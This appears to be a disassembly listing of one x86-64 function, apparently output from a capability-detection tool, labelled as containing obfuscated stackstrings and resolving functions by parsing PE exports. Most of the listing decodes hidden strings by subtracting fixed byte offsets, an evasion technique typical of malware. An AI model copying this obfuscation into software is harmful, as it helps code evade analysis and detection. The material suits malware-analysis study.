Function at 0x140213000
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push rsi
push rbx
sub rsp, 0x28
movzx edx, dl
call fcn.1400882a0
test rax, rax
je 0x140212ef0
add rsp, 0x28
pop rbx
pop rsi
ret
mov ecx, 0x10
call fcn.14020b1f0
lea rdx, [0x14022bf20]
mov rcx, rax
mov rbx, rax
call fcn.1401d23f0
lea r8, [fcn.1401d2590]
lea rdx, [0x1402361d0]
mov rcx, rbx
call fcn.14020b770
mov rsi, rax
mov rcx, rbx
call fcn.14020b450
mov rcx, rsi
call fcn.1400c9b10
nop
mov ecx, 0x10
call fcn.14020b1f0
lea rdx, str.Failed_to_allocate_large_pages_memory
mov rcx, rax
mov rbx, rax
call fcn.1401d23f0
lea r8, [fcn.1401d2590]
lea rdx, [0x1402361d0]
mov rcx, rbx
call fcn.14020b770
mov rsi, rax
mov rcx, rbx
call fcn.14020b450
mov rcx, rsi
call fcn.1400c9b10
nop
nop
nop
nop
nop
mov rcx, rbx
call fcn.14020b0f0
mov rcx, rsi
call fcn.1400c9b10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov rcx, rsi
call fcn.14020b0f0
mov rcx, rbx
call fcn.1400c9b10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov rcx, rsi
call fcn.14020b0f0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140212fd6
call fcn.14020b0f0
mov rcx, rdi
call fcn.1400c9b10
nop
nop
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140212fee
call fcn.14020b0f0
mov rcx, rsi
call fcn.1400c9b10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub rsp, 0xb8
mov r9d, 0x36
mov r8d, 0x36
mov r11d, pe_nt_image_headers64
movabs rdx, 0x7172717e7c6b706d
mov r10d, pe_nt_image_headers64
lea rcx, [rsp + 0x90]
mov word [rsp + 0x48], r8w
mov dword [rsp + 0x90], 0x7a6f746f
mov byte [rsp + 0x94], 0
movzx eax, byte [rsp + 0x90]
mov dword [rsp], 0x7a6f746f
sub eax, 6
mov byte [rsp + 4], 0
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
mov qword [0x140278c30], rcx
sub eax, 6
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 6
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 6
mov byte [rsp + 0x93], al
mov rax, qword [str.mrmx1ez_to:ntr]
mov qword [rsp + 0x40], rax
movabs rax, 0x7c7a6531786d726d
mov qword [rsp + 0x90], rax
mov word [rsp + 0x98], r9w
movzx eax, byte [rsp + 0x90]
sub eax, 4
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
sub eax, 4
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 4
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 4
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 4
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
sub eax, 4
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
sub eax, 4
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
mov qword [0x140278c28], rcx
sub eax, 4
mov qword [0x140278c20], rcx
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
mov dword [rsp + 8], 0x6665706e
sub eax, 4
mov byte [rsp + 0xc], 0
mov byte [rsp + 0x98], al
movabs rax, 0x8176786d776a7b
mov qword [rsp + 0x90], rax
movzx eax, byte [rsp + 0x90]
sub eax, 9
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
sub eax, 9
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 9
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 9
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 9
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
sub eax, 9
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
sub eax, 9
mov byte [rsp + 0x96], al
mov dword [rsp + 0x90], 0x6665706e
mov byte [rsp + 0x94], 0
movzx eax, byte [rsp + 0x90]
sub eax, 1
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
sub eax, 1
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 1
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 1
mov byte [rsp + 0x93], al
mov rax, qword [0x14022bfa8]
movzx r9d, word [0x14022bfb0]
mov qword [0x140278c18], rcx
mov qword [rsp + 0x50], rax
movabs rax, 0x72746e7d3a6f743e
mov qword [rsp + 0x90], rax
mov word [rsp + 0x98], r11w
movzx eax, byte [rsp + 0x90]
mov word [rsp + 0x58], r10w
sub eax, 0xd
mov qword [0x140278c10], rcx
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
mov dword [rsp + 0x28], 0x7f79707e
sub eax, 0xd
mov word [rsp + 0x2c], r9w
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 0xd
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 0xd
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 0xd
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
sub eax, 0xd
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
sub eax, 0xd
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
sub eax, 0xd
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
sub eax, 0xd
mov byte [rsp + 0x98], al
mov eax, 0x7e
mov dword [rsp + 0x90], 0x7f79707e
mov word [rsp + 0x94], ax
movzx eax, byte [rsp + 0x90]
sub eax, 0xc
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
movzx r8d, word [0x14022bfb2]
movdqa xmm0, xmmword [0x14022bfc0]
mov qword [0x140278c08], rcx
sub eax, 0xc
mov dword [rsp + 0x30], 0x7c767b80
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
mov word [rsp + 0x34], r8w
sub eax, 0xc
mov qword [0x140278c00], rcx
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
mov byte [rsp + 0x88], 0
sub eax, 0xc
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 0xc
mov byte [rsp + 0x94], al
mov eax, 0x7b
mov dword [rsp + 0x90], 0x7c767b80
mov word [rsp + 0x94], ax
movzx eax, byte [rsp + 0x90]
sub eax, 9
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
sub eax, 9
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 9
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 9
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 9
mov byte [rsp + 0x94], al
mov rax, qword [0x14022bfd0]
mov qword [rsp + 0x80], rax
movabs rax, 0x7c746f806d7e6f7f
mov qword [rsp + 0x90], rax
xor eax, eax
mov qword [rsp + 0x98], rdx
movdqu xmm1, xmmword [rsp + 0x79]
movups xmmword [rsp + 0x99], xmm1
nop dword [rax]
movzx edx, byte [rsp + rax + 0x90]
sub edx, 0xc
mov byte [rsp + rax + 0x90], dl
add rax, 1
cmp rax, 0x18
jne 0x1402134c0
mov rax, qword [0x14022bfd8]
mov qword [0x140278bf8], rcx
mov edx, 0x7b
mov word [rsp + 0x68], r9w
mov qword [rsp + 0x60], rax
movabs rax, 0x7a7c6a70736e6c6e
mov qword [rsp + 0x90], rax
mov eax, 0x7e
mov word [rsp + 0x98], ax
movzx eax, byte [rsp + 0x90]
mov qword [0x140278bf0], rcx
sub eax, 0xb
mov dword [rsp + 0x10], 0x70757662
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0x14], 0
sub eax, 0xb
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 0xb
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 0xb
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 0xb
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
sub eax, 0xb
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
sub eax, 0xb
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
sub eax, 0xb
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
sub eax, 0xb
mov byte [rsp + 0x98], al
mov dword [rsp + 0x23], 0x70757662
mov byte [rsp + 0x27], 0
movzx eax, byte [rsp + 0x23]
sub eax, 1
mov byte [rsp + 0x23], al
movzx eax, byte [rsp + 0x24]
sub eax, 1
mov byte [rsp + 0x24], al
movzx eax, byte [rsp + 0x25]
mov dword [rsp + 0x18], 0x7a79676c
sub eax, 1
mov byte [rsp + 0x1c], 0
mov byte [rsp + 0x25], al
movzx eax, byte [rsp + 0x26]
mov dword [rsp + 0x38], 0x6f6e7073
sub eax, 1
mov word [rsp + 0x3c], r8w
mov byte [rsp + 0x26], al
lea rax, [rsp + 0x23]
mov dword [rsp + 0x1e], 0x7a79676c
mov qword [0x140278c40], rax
mov byte [rsp + 0x22], 0
movzx eax, byte [rsp + 0x1e]
sub eax, 6
mov byte [rsp + 0x1e], al
movzx eax, byte [rsp + 0x1f]
sub eax, 6
mov byte [rsp + 0x1f], al
movzx eax, byte [rsp + 0x20]
sub eax, 6
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x21]
sub eax, 6
mov byte [rsp + 0x21], al
lea rax, [rsp + 0x1e]
mov dword [rsp + 0x90], 0x6f6e7073
mov qword [0x140278c48], rax
mov word [rsp + 0x94], dx
movzx eax, byte [rsp + 0x90]
sub eax, 7
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
sub eax, 7
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 7
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 7
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 7
mov byte [rsp + 0x94], al
mov qword [0x140278c50], rcx
add rsp, 0xb8
ret